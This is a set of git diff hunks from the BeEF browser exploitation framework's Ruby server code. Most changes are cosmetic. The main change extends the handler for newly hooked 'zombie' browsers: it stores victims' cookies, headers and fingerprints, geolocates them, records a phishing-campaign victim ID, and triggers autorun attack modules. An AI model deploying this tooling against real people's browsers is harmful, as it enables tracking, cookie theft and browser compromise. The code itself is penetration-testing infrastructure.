return YAML.load(raw)
|
||||
rescue Exception => e
|
||||
rescue => e
|
||||
print_debug "Unable to load '#{file}' #{e}"
|
||||
return nil
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -86,7 +86,9 @@ module Banners
|
||||
print_success "running on network interface: #{host}"
|
||||
beef_host = configuration.get("beef.http.public_port") || configuration.get("beef.http.port")
|
||||
data = "Hook URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.hook_file")}\n"
|
||||
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.panel_path")}\n"
|
||||
if configuration.get("beef.extension.admin_ui.enable")
|
||||
data += "UI URL: #{prototxt}://#{host}:#{configuration.get("beef.http.port")}#{configuration.get("beef.http.web_ui_basepath")}/panel\n"
|
||||
end
|
||||
|
||||
print_more data
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -18,6 +18,7 @@ module BeEF
|
||||
@options[:ext_config] = ""
|
||||
@options[:port] = ""
|
||||
@options[:ws_port] = ""
|
||||
@options[:interactive] = false
|
||||
|
||||
|
||||
@already_parsed = false
|
||||
@@ -54,6 +55,10 @@ module BeEF
|
||||
opts.on('-w', '--wsport WS_PORT', 'Change the default BeEF WebSocket listening port') do |ws_port|
|
||||
@options[:ws_port] = ws_port
|
||||
end
|
||||
|
||||
opts.on('-i', '--interactive', 'Starts with the Console Shell activated') do
|
||||
@options[:interactive] = true
|
||||
end
|
||||
end
|
||||
|
||||
optparse.parse!
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -7,75 +7,75 @@
|
||||
module BeEF
|
||||
module Core
|
||||
module Constants
|
||||
|
||||
|
||||
module Browsers
|
||||
|
||||
FF = 'FF' # Firefox
|
||||
M = 'M' # Mozila
|
||||
IE = 'IE' # Internet Explorer
|
||||
S = 'S' # Safari
|
||||
K = 'K' # Konqueror
|
||||
C = 'C' # Chrome
|
||||
FF = 'FF' # Firefox
|
||||
M = 'M' # Mozilla
|
||||
IE = 'IE' # Internet Explorer
|
||||
S = 'S' # Safari
|
||||
K = 'K' # Konqueror
|
||||
C = 'C' # Chrome
|
||||
O = 'O' # Opera
|
||||
ALL = 'ALL' # ALL
|
||||
UNKNOWN = 'UN' # Unknown
|
||||
|
||||
FRIENDLY_FF_NAME = 'Firefox'
|
||||
FRIENDLY_M_NAME = 'Mozila'
|
||||
FRIENDLY_IE_NAME = 'Internet Explorer'
|
||||
FRIENDLY_S_NAME = 'Safari'
|
||||
FRIENDLY_K_NAME = 'Konqueror'
|
||||
FRIENDLY_C_NAME = 'Chrome'
|
||||
ALL = 'ALL' # ALL
|
||||
UNKNOWN = 'UN' # Unknown
|
||||
|
||||
FRIENDLY_FF_NAME = 'Firefox'
|
||||
FRIENDLY_M_NAME = 'Mozilla'
|
||||
FRIENDLY_IE_NAME = 'Internet Explorer'
|
||||
FRIENDLY_S_NAME = 'Safari'
|
||||
FRIENDLY_K_NAME = 'Konqueror'
|
||||
FRIENDLY_C_NAME = 'Chrome'
|
||||
FRIENDLY_O_NAME = 'Opera'
|
||||
FRIENDLY_UN_NAME = "UNKNOWN"
|
||||
|
||||
# Attempt to retrieve a browsers friendly name
|
||||
FRIENDLY_UN_NAME = 'UNKNOWN'
|
||||
|
||||
# Attempt to retrieve a browser's friendly name
|
||||
# @param [String] browser_name Short browser name
|
||||
# @return [String] Friendly browser name
|
||||
def self.friendly_name(browser_name)
|
||||
|
||||
case browser_name
|
||||
when FF; return FRIENDLY_FF_NAME
|
||||
when M; return FRIENDLY_M_NAME
|
||||
when IE; return FRIENDLY_IE_NAME
|
||||
when S; return FRIENDLY_S_NAME
|
||||
when K; return FRIENDLY_K_NAME
|
||||
when C; return FRIENDLY_C_NAME
|
||||
when O; return FRIENDLY_O_NAME
|
||||
def self.friendly_name(browser_name)
|
||||
|
||||
case browser_name
|
||||
when FF; return FRIENDLY_FF_NAME
|
||||
when M ; return FRIENDLY_M_NAME
|
||||
when IE; return FRIENDLY_IE_NAME
|
||||
when S ; return FRIENDLY_S_NAME
|
||||
when K ; return FRIENDLY_K_NAME
|
||||
when C ; return FRIENDLY_C_NAME
|
||||
when O ; return FRIENDLY_O_NAME
|
||||
when UNKNOWN; return FRIENDLY_UN_NAME
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
# Attempt to match the browserstring to a browser constant
|
||||
# @param [String] browserstring Browser UA string
|
||||
# @return [Array] An array of matching browser constants
|
||||
# @todo Confirm this function returns an array if multiple constants are matched
|
||||
def self.match_browser(browserstring)
|
||||
matches = []
|
||||
browserstring.split(" ").each do |chunk|
|
||||
case chunk
|
||||
when /Firefox/ , /FF/
|
||||
matches << FF
|
||||
when /Mozilla/
|
||||
matches << M
|
||||
when /Internet Explorer/, /IE/
|
||||
matches << IE
|
||||
when /Safari/
|
||||
matches << S
|
||||
when /Konqueror/
|
||||
matches << K
|
||||
when /Chrome/
|
||||
matches << C
|
||||
when /Opera/
|
||||
matches << O
|
||||
end
|
||||
end
|
||||
matches.uniq
|
||||
end
|
||||
def self.match_browser(browserstring)
|
||||
matches = []
|
||||
browserstring.split(" ").each do |chunk|
|
||||
case chunk
|
||||
when /Firefox/, /FF/
|
||||
matches << FF
|
||||
when /Mozilla/
|
||||
matches << M
|
||||
when /Internet Explorer/, /IE/
|
||||
matches << IE
|
||||
when /Safari/
|
||||
matches << S
|
||||
when /Konqueror/
|
||||
matches << K
|
||||
when /Chrome/
|
||||
matches << C
|
||||
when /Opera/
|
||||
matches << O
|
||||
end
|
||||
end
|
||||
matches.uniq
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -12,6 +12,8 @@ module Constants
|
||||
module Hardware
|
||||
|
||||
HW_UNKNOWN_IMG = 'pc.png'
|
||||
HW_VM_IMG = 'vm.png'
|
||||
HW_LAPTOP_IMG = 'laptop.png'
|
||||
HW_IPHONE_UA_STR = 'iPhone'
|
||||
HW_IPHONE_IMG = 'iphone.jpg'
|
||||
HW_IPAD_UA_STR = 'iPad'
|
||||
@@ -32,8 +34,8 @@ module Constants
|
||||
HW_HTC_IMG = 'htc.ico'
|
||||
HW_MOTOROLA_UA_STR = 'motorola'
|
||||
HW_MOTOROLA_IMG = 'motorola.png'
|
||||
HW_GOOGLE_UA_STR = 'Nexus One'
|
||||
HE_GOOGLE_IM = 'nexus.png'
|
||||
HW_GOOGLE_UA_STR = 'Nexus'
|
||||
HW_GOOGLE_IMG = 'nexus.png'
|
||||
HW_ERICSSON_UA_STR = 'Ericsson'
|
||||
HW_ERICSSON_IMG = 'sony_ericsson.png'
|
||||
HW_ALL_UA_STR = 'All'
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -20,6 +20,8 @@ module BeEF
|
||||
OS_MAC_IMG = 'mac.png'
|
||||
OS_QNX_UA_STR = 'QNX'
|
||||
OS_QNX_IMG = 'qnx.ico'
|
||||
OS_SUNOS_UA_STR = 'SunOS'
|
||||
OS_SUNOS_IMG = 'sunos.gif'
|
||||
OS_BEOS_UA_STR = 'BeOS'
|
||||
OS_BEOS_IMG = 'beos.png'
|
||||
OS_OPENBSD_UA_STR = 'OpenBSD'
|
||||
@@ -54,6 +56,8 @@ module BeEF
|
||||
OS_MAC_UA_STR
|
||||
when /qnx/
|
||||
OS_QNX_UA_STR
|
||||
when /sun/
|
||||
OS_SUNOS_UA_STR
|
||||
when /beos/
|
||||
OS_BEOS_UA_STR
|
||||
when /openbsd/
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -39,6 +39,23 @@ module Core
|
||||
config.set('beef.api_token', token)
|
||||
token
|
||||
end
|
||||
|
||||
# Generates a unique identifier for DNS rules.
|
||||
#
|
||||
# @return [String] 8-character hex identifier
|
||||
def self.dns_rule_id
|
||||
id = nil
|
||||
length = 4
|
||||
|
||||
begin
|
||||
id = OpenSSL::Random.random_bytes(length).unpack('H*')[0]
|
||||
BeEF::Core::Models::Dns::Rule.each { |rule| throw StandardError if id == rule.id }
|
||||
rescue StandardError
|
||||
retry
|
||||
end
|
||||
|
||||
id.to_s
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -38,10 +38,17 @@ module BeEF
|
||||
zombie.firstseen = Time.new.to_i
|
||||
|
||||
# hostname
|
||||
log_zombie_port = 0
|
||||
if not @data['results']['HostName'].nil? then
|
||||
log_zombie_domain=@data['results']['HostName']
|
||||
elsif (not @data['request'].referer.nil?) and (not @data['request'].referer.empty?)
|
||||
log_zombie_domain=@data['request'].referer.gsub('http://', '').gsub('https://', '').split('/')[0]
|
||||
referer = @data['request'].referer
|
||||
if referer.start_with?("https://") then
|
||||
log_zombie_port = 443
|
||||
else
|
||||
log_zombie_port = 80
|
||||
end
|
||||
log_zombie_domain=referer.gsub('http://', '').gsub('https://', '').split('/')[0]
|
||||
else
|
||||
log_zombie_domain="unknown" # Probably local file open
|
||||
end
|
||||
@@ -51,7 +58,6 @@ module BeEF
|
||||
log_zombie_port=@data['results']['HostPort']
|
||||
else
|
||||
log_zombie_domain_parts=log_zombie_domain.split(':')
|
||||
log_zombie_port=80
|
||||
if log_zombie_domain_parts.length > 1 then
|
||||
log_zombie_port=log_zombie_domain_parts[1].to_i
|
||||
end
|
||||
@@ -62,12 +68,13 @@ module BeEF
|
||||
|
||||
#Parse http_headers. Unfortunately Rack doesn't provide a util-method to get them :(
|
||||
@http_headers = Hash.new
|
||||
http_header = @data['request'].env.select {|k,v| k.to_s.start_with? 'HTTP_'}
|
||||
.each {|key,value|
|
||||
@http_headers[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
http_header = @data['request'].env.select { |k, v| k.to_s.start_with? 'HTTP_' }
|
||||
.each { |key, value|
|
||||
@http_headers[key.sub(/^HTTP_/, '')] = value
|
||||
}
|
||||
zombie.httpheaders = @http_headers.to_json
|
||||
zombie.save
|
||||
#print_debug "[INIT] HTTP Headers: #{zombie.httpheaders}"
|
||||
|
||||
# add a log entry for the newly hooked browser
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} just joined the horde from the domain: #{log_zombie_domain}:#{log_zombie_port.to_s}", "#{zombie.id}")
|
||||
@@ -79,6 +86,107 @@ module BeEF
|
||||
self.err_msg "Invalid browser name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# lookup zombie host name
|
||||
ip_str = zombie.ip
|
||||
if config.get('beef.dns_hostname_lookup')
|
||||
begin
|
||||
require 'resolv'
|
||||
host_name = Resolv.getname(zombie.ip).to_s
|
||||
if BeEF::Filters.is_valid_hostname?(host_name)
|
||||
ip_str += " [#{host_name}]"
|
||||
end
|
||||
rescue
|
||||
print_debug "[INIT] Reverse lookup failed - No results for IP address '#{zombie.ip}'"
|
||||
end
|
||||
end
|
||||
BD.set(session_id, 'IP', ip_str)
|
||||
|
||||
# geolocation
|
||||
if config.get('beef.geoip.enable')
|
||||
require 'geoip'
|
||||
geoip_file = config.get('beef.geoip.database')
|
||||
if File.exists? geoip_file
|
||||
geoip = GeoIP.new(geoip_file).city(zombie.ip)
|
||||
if geoip.nil?
|
||||
print_debug "[INIT] Geolocation failed - No results for IP address '#{zombie.ip}'"
|
||||
else
|
||||
#print_debug "[INIT] Geolocation results: #{geoip}"
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{zombie.ip} is connecting from: #{geoip}", "#{zombie.id}")
|
||||
BD.set(session_id, 'LocationCity', "#{geoip['city_name']}")
|
||||
BD.set(session_id, 'LocationCountry', "#{geoip['country_name']}")
|
||||
BD.set(session_id, 'LocationCountryCode2', "#{geoip['country_code2']}")
|
||||
BD.set(session_id, 'LocationCountryCode3', "#{geoip['country_code3']}")
|
||||
BD.set(session_id, 'LocationContinentCode', "#{geoip['continent_code']}")
|
||||
BD.set(session_id, 'LocationPostCode', "#{geoip['postal_code']}")
|
||||
BD.set(session_id, 'LocationLatitude', "#{geoip['latitude']}")
|
||||
BD.set(session_id, 'LocationLongitude', "#{geoip['longitude']}")
|
||||
BD.set(session_id, 'LocationDMACode', "#{geoip['dma_code']}")
|
||||
BD.set(session_id, 'LocationAreaCode', "#{geoip['area_code']}")
|
||||
BD.set(session_id, 'LocationTimezone', "#{geoip['timezone']}")
|
||||
BD.set(session_id, 'LocationRegionName', "#{geoip['real_region_name']}")
|
||||
end
|
||||
else
|
||||
print_error "[INIT] Geolocation failed - Could not find MaxMind GeoIP database '#{geoip_file}'"
|
||||
print_more "Download: http://geolite.maxmind.com/download/geoip/database/GeoLiteCity.dat.gz"
|
||||
end
|
||||
end
|
||||
|
||||
# detect browser proxy
|
||||
using_proxy = false
|
||||
[
|
||||
'CLIENT_IP',
|
||||
'FORWARDED_FOR',
|
||||
'FORWARDED',
|
||||
'FORWARDED_FOR_IP',
|
||||
'PROXY_CONNECTION',
|
||||
'PROXY_AUTHENTICATE',
|
||||
'X_FORWARDED',
|
||||
'X_FORWARDED_FOR',
|
||||
'VIA'
|
||||
].each do |header|
|
||||
unless JSON.parse(zombie.httpheaders)[header].nil?
|
||||
using_proxy = true
|
||||
break
|
||||
end
|
||||
end
|
||||
|
||||
# retrieve proxy client IP
|
||||
proxy_clients = []
|
||||
[
|
||||
'CLIENT_IP',
|
||||
'FORWARDED_FOR',
|
||||
'FORWARDED',
|
||||
'FORWARDED_FOR_IP',
|
||||
'X_FORWARDED',
|
||||
'X_FORWARDED_FOR'
|
||||
].each do |header|
|
||||
proxy_clients << "#{JSON.parse(zombie.httpheaders)[header]}" unless JSON.parse(zombie.httpheaders)[header].nil?
|
||||
end
|
||||
|
||||
# retrieve proxy server
|
||||
proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil?
|
||||
|
||||
# store and log proxy details
|
||||
if using_proxy == true
|
||||
BD.set(session_id, 'UsingProxy', "#{using_proxy}")
|
||||
proxy_log_string = "#{zombie.ip} is using a proxy"
|
||||
unless proxy_clients.empty?
|
||||
BD.set(session_id, 'ProxyClient', "#{proxy_clients.sort.uniq.join(',')}")
|
||||
proxy_log_string += " [client: #{proxy_clients.sort.uniq.join(',')}]"
|
||||
end
|
||||
unless proxy_server.nil?
|
||||
BD.set(session_id, 'ProxyServer', "#{proxy_server}")
|
||||
proxy_log_string += " [server: #{proxy_server}]"
|
||||
if config.get("beef.extension.network.enable") == true
|
||||
if proxy_server =~ /^([\d\.]+):([\d]+)$/
|
||||
print_debug("Hooked browser [id:#{zombie.id}] is using a proxy [ip: #{$1}]")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => $1, :type => 'Proxy')
|
||||
end
|
||||
end
|
||||
end
|
||||
BeEF::Core::Logger.instance.register('Zombie', "#{proxy_log_string}", "#{zombie.id}")
|
||||
end
|
||||
|
||||
# get and store browser version
|
||||
browser_version = get_param(@data['results'], 'BrowserVersion')
|
||||
if BeEF::Filters.is_valid_browserversion?(browser_version)
|
||||
@@ -95,6 +203,10 @@ module BeEF
|
||||
self.err_msg "Invalid browser string returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store browser language
|
||||
browser_lang = get_param(@data['results'], 'BrowserLanguage')
|
||||
BD.set(session_id, 'BrowserLanguage', browser_lang)
|
||||
|
||||
# get and store the cookies
|
||||
cookies = get_param(@data['results'], 'Cookies')
|
||||
if BeEF::Filters.is_valid_cookies?(cookies)
|
||||
@@ -103,7 +215,7 @@ module BeEF
|
||||
self.err_msg "Invalid cookies returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the os name
|
||||
# get and store the OS name
|
||||
os_name = get_param(@data['results'], 'OsName')
|
||||
if BeEF::Filters.is_valid_osname?(os_name)
|
||||
BD.set(session_id, 'OsName', os_name)
|
||||
@@ -111,6 +223,14 @@ module BeEF
|
||||
self.err_msg "Invalid operating system name returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the OS version (without checks as it can be very different or even empty, for instance on linux/bsd)
|
||||
os_version = get_param(@data['results'], 'OsVersion')
|
||||
BD.set(session_id, 'OsVersion', os_version)
|
||||
|
||||
# get and store default browser
|
||||
default_browser = get_param(@data['results'], 'DefaultBrowser')
|
||||
BD.set(session_id, 'DefaultBrowser', default_browser)
|
||||
|
||||
# get and store the hardware name
|
||||
hw_name = get_param(@data['results'], 'Hardware')
|
||||
if BeEF::Filters.is_valid_hwname?(hw_name)
|
||||
@@ -168,11 +288,11 @@ module BeEF
|
||||
end
|
||||
|
||||
# get and store the system platform
|
||||
system_platform = get_param(@data['results'], 'SystemPlatform')
|
||||
system_platform = get_param(@data['results'], 'BrowserPlatform')
|
||||
if BeEF::Filters.is_valid_system_platform?(system_platform)
|
||||
BD.set(session_id, 'SystemPlatform', system_platform)
|
||||
BD.set(session_id, 'BrowserPlatform', system_platform)
|
||||
else
|
||||
self.err_msg "Invalid system platform returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid browser platform returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the hooked browser type
|
||||
@@ -199,103 +319,65 @@ module BeEF
|
||||
self.err_msg "Invalid window size returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for JavaEnabled
|
||||
java_enabled = get_param(@data['results'], 'JavaEnabled')
|
||||
if BeEF::Filters.is_valid_yes_no?(java_enabled)
|
||||
BD.set(session_id, 'JavaEnabled', java_enabled)
|
||||
else
|
||||
self.err_msg "Invalid value for JavaEnabled returned from the hook browser's initial connection."
|
||||
# get and store the yes|no value for browser components
|
||||
components = [
|
||||
'VBScriptEnabled', 'HasFlash', 'HasPhonegap', 'HasGoogleGears',
|
||||
'HasWebSocket', 'HasWebRTC', 'HasActiveX',
|
||||
'HasQuickTime', 'HasRealPlayer', 'HasWMP',
|
||||
'hasSessionCookies', 'hasPersistentCookies'
|
||||
]
|
||||
components.each do |k|
|
||||
v = get_param(@data['results'], k)
|
||||
if BeEF::Filters.is_valid_yes_no?(v)
|
||||
BD.set(session_id, k, v)
|
||||
else
|
||||
self.err_msg "Invalid value for #{k} returned from the hook browser's initial connection."
|
||||
end
|
||||
end
|
||||
|
||||
# get and store the yes|no value for VBScriptEnabled
|
||||
vbscript_enabled = get_param(@data['results'], 'VBScriptEnabled')
|
||||
if BeEF::Filters.is_valid_yes_no?(vbscript_enabled)
|
||||
BD.set(session_id, 'VBScriptEnabled', vbscript_enabled)
|
||||
# get and store the value for CPU
|
||||
cpu_type = get_param(@data['results'], 'CPU')
|
||||
if BeEF::Filters.is_valid_cpu?(cpu_type)
|
||||
BD.set(session_id, 'CPU', cpu_type)
|
||||
else
|
||||
self.err_msg "Invalid value for VBScriptEnabled returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for CPU returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasFlash
|
||||
has_flash = get_param(@data['results'], 'HasFlash')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_flash)
|
||||
BD.set(session_id, 'HasFlash', has_flash)
|
||||
# get and store the value for TouchEnabled
|
||||
touch_enabled = get_param(@data['results'], 'TouchEnabled')
|
||||
if BeEF::Filters.is_valid_yes_no?(touch_enabled)
|
||||
BD.set(session_id, 'TouchEnabled', touch_enabled)
|
||||
else
|
||||
self.err_msg "Invalid value for HasFlash returned from the hook browser's initial connection."
|
||||
self.err_msg "Invalid value for TouchEnabled returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasPhonegap
|
||||
has_phonegap = get_param(@data['results'], 'HasPhonegap')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_phonegap)
|
||||
BD.set(session_id, 'HasPhonegap', has_phonegap)
|
||||
else
|
||||
self.err_msg "Invalid value for HasPhonegap returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasGoogleGears
|
||||
has_googlegears = get_param(@data['results'], 'HasGoogleGears')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_googlegears)
|
||||
BD.set(session_id, 'HasGoogleGears', has_googlegears)
|
||||
else
|
||||
self.err_msg "Invalid value for HasGoogleGears returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasWebSocket
|
||||
has_web_socket = get_param(@data['results'], 'HasWebSocket')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_web_socket)
|
||||
BD.set(session_id, 'HasWebSocket', has_web_socket)
|
||||
else
|
||||
self.err_msg "Invalid value for HasWebSocket returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store the yes|no value for HasActiveX
|
||||
has_activex = get_param(@data['results'], 'HasActiveX')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_activex)
|
||||
BD.set(session_id, 'HasActiveX', has_activex)
|
||||
else
|
||||
self.err_msg "Invalid value for HasActiveX returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store whether the browser has session cookies enabled
|
||||
has_session_cookies = get_param(@data['results'], 'hasSessionCookies')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_session_cookies)
|
||||
BD.set(session_id, 'hasSessionCookies', has_session_cookies)
|
||||
else
|
||||
self.err_msg "Invalid value for hasSessionCookies returned from the hook browser's initial connection."
|
||||
end
|
||||
|
||||
# get and store whether the browser has persistent cookies enabled
|
||||
has_persistent_cookies = get_param(@data['results'], 'hasPersistentCookies')
|
||||
if BeEF::Filters.is_valid_yes_no?(has_persistent_cookies)
|
||||
BD.set(session_id, 'hasPersistentCookies', has_persistent_cookies)
|
||||
else
|
||||
self.err_msg "Invalid value for hasPersistentCookies returned from the hook browser's initial connection."
|
||||
if config.get('beef.integration.phishing_frenzy.enable')
|
||||
# get and store the browser plugins
|
||||
victim_uid = get_param(@data['results'], 'PhishingFrenzyUID')
|
||||
print_debug "PhishingFrenzy victim UID is #{victim_uid}"
|
||||
if BeEF::Filters.alphanums_only?(victim_uid)
|
||||
BD.set(session_id, 'PhishingFrenzyUID', victim_uid)
|
||||
else
|
||||
self.err_msg "Invalid PhishingFrenzy Victim UID returned from the hook browser's initial connection."
|
||||
end
|
||||
end
|
||||
|
||||
# log a few info of newly hooked zombie in the console
|
||||
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
|
||||
print_info "New Hooked Browser [id:#{zombie.id}, ip:#{zombie.ip}, browser:#{browser_name}-#{browser_version}, os:#{os_name}-#{os_version}], hooked domain [#{log_zombie_domain}:#{log_zombie_port.to_s}]"
|
||||
|
||||
|
||||
# Call autorun modules
|
||||
if config.get('beef.autorun.enable')
|
||||
autorun = []
|
||||
BeEF::Core::Configuration.instance.get('beef.module').each { |k, v|
|
||||
if v.has_key?('autorun') and v['autorun'] == true
|
||||
target_status = BeEF::Module.support(k, {'browser' => browser_name, 'ver' => browser_version, 'os' => os_name})
|
||||
if target_status == BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
BeEF::Module.execute(k, session_id)
|
||||
autorun.push(k)
|
||||
elsif target_status == BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY and config.get('beef.autorun.allow_user_notify')
|
||||
BeEF::Module.execute(k, session_id)
|
||||
autorun.push(k)
|
||||
else
|
||||
print_debug "Autorun attempted to execute unsupported module '#{k}' against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
|
||||
end
|
||||
end
|
||||
}
|
||||
if autorun.length > 0
|
||||
print_info "Autorun executed[#{autorun.join(', ')}] against Hooked browser [id:#{zombie.id}, ip:#{zombie.ip}, type:#{browser_name}-#{browser_version}, os:#{os_name}]"
|
||||
end
|
||||
# add localhost as network host
|
||||
if config.get('beef.extension.network.enable')
|
||||
print_debug("Hooked browser has network interface 127.0.0.1")
|
||||
BeEF::Core::Models::NetworkHost.add(:hooked_browser_id => session_id, :ip => '127.0.0.1', :hostname => 'localhost', :os => BeEF::Core::Models::BrowserDetails.get(session_id, 'OsName'))
|
||||
end
|
||||
|
||||
# Autorun Rule Engine - Check if the hooked browser type/version and OS type/version match any Rule-sets
|
||||
# stored in the BeEF::Core::AutorunEngine::Models::Rule database table
|
||||
# If one or more Rule-sets do match, trigger the module chain specified
|
||||
#
|
||||
are = BeEF::Core::AutorunEngine::Engine.instance
|
||||
match_rules = are.match(browser_name, browser_version, os_name, os_version)
|
||||
are.trigger(match_rules, zombie.id) if match_rules.length > 0
|
||||
end
|
||||
|
||||
def get_param(query, key)
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
# See the file 'doc/COPYING' for copying permission
|
||||
#
|
||||
@@ -42,7 +42,7 @@ module BeEF
|
||||
|
||||
# @note get and check session id from the request
|
||||
beefhook = get_param(@data, 'beefhook')
|
||||
(print_error "BeEFhook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
|
||||
(print_error "BeEF hook is invalid"; return) if not BeEF::Filters.is_valid_hook_session_id?(beefhook)
|
||||
|
||||
result = get_param(@data, 'results')
|
||||
|
||||
@@ -57,11 +57,14 @@ module BeEF
|
||||
# @note get/set details for datastore and log entry
|
||||
command_friendly_name = command.friendlyname
|
||||
(print_error "command friendly name is empty"; return) if command_friendly_name.empty?
|
||||
command_results = get_param(@data, 'results')
|
||||
(print_error "command results are empty"; return) if command_results.empty?
|
||||
|
||||
command_status = @data['status']
|
||||
command_results = @data['results']
|
||||
(print_error "command results or status are empty"; return) if command_results.empty?
|
||||
|
||||
# @note save the command module results to the datastore and create a log entry
|
||||
command_results = {'data' => command_results}
|
||||
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results)
|
||||
BeEF::Core::Models::Command.save_result(beefhook, command_id, command_friendly_name, command_results, command_status)
|
||||
|
||||
end
|
||||
|
||||
|
||||
@@ -1,5 +1,5 @@
|
||||
#
|
||||
# Copyright (c) 2006-2012 Wade Alcorn - wade@bindshell.net
|
||||
# Copyright (c) 2006-2015 Wade Alcorn - wade@bindshell.net
|
||||
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||
